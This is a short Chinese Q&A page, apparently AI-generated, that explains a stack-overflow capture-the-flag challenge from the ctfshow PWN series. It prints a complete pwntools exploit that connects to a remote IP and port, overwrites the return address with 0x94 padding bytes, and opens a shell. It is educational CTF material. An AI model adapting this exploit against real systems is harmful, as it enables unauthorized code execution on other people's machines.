ctfshow PWN
时间: 2023-11-02 20:19:42 浏览: 219
根据引用和引用中的内容,ctfshow函数是一个简单的栈溢出漏洞的示例程序。在32位程序中,返回地址一般是ebp + 4。而在64位程序中,返回地址一般是rbp + 8。通过利用栈溢出漏洞,我们可以修改返回地址,从而控制程序的执行流程。在ctfshow函数中,我们可以使用payload来覆盖返回地址,以实现获取shell的目的。具体的exploit代码如下:
```
from pwn import *
#p = process("./pwn10")
p = remote("111.231.70.44",28010)
p.recv()
payload = b"A"*(0x94) + p32(0x0804850F)
p.send(payload)
p.interactive()
```
这段代码会将payload发送给目标程序,其中0x94是用来填充溢出的字节数,再加上要跳转到的地址0x0804850F。通过这个exploit,我们可以成功获取shell。
希望这个回答能够解决你的问题。如果你还有其他问题,请随时提问。<span class="em">1</span><span class="em">2</span><span class="em">3</span>
#### 引用[.reference_title]
- *1* *2* *3* [ctfshow-pwn新手系列](https://blog.csdn.net/gd_9988/article/details/106744216)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"]
[ .reference_list ]
阅读全文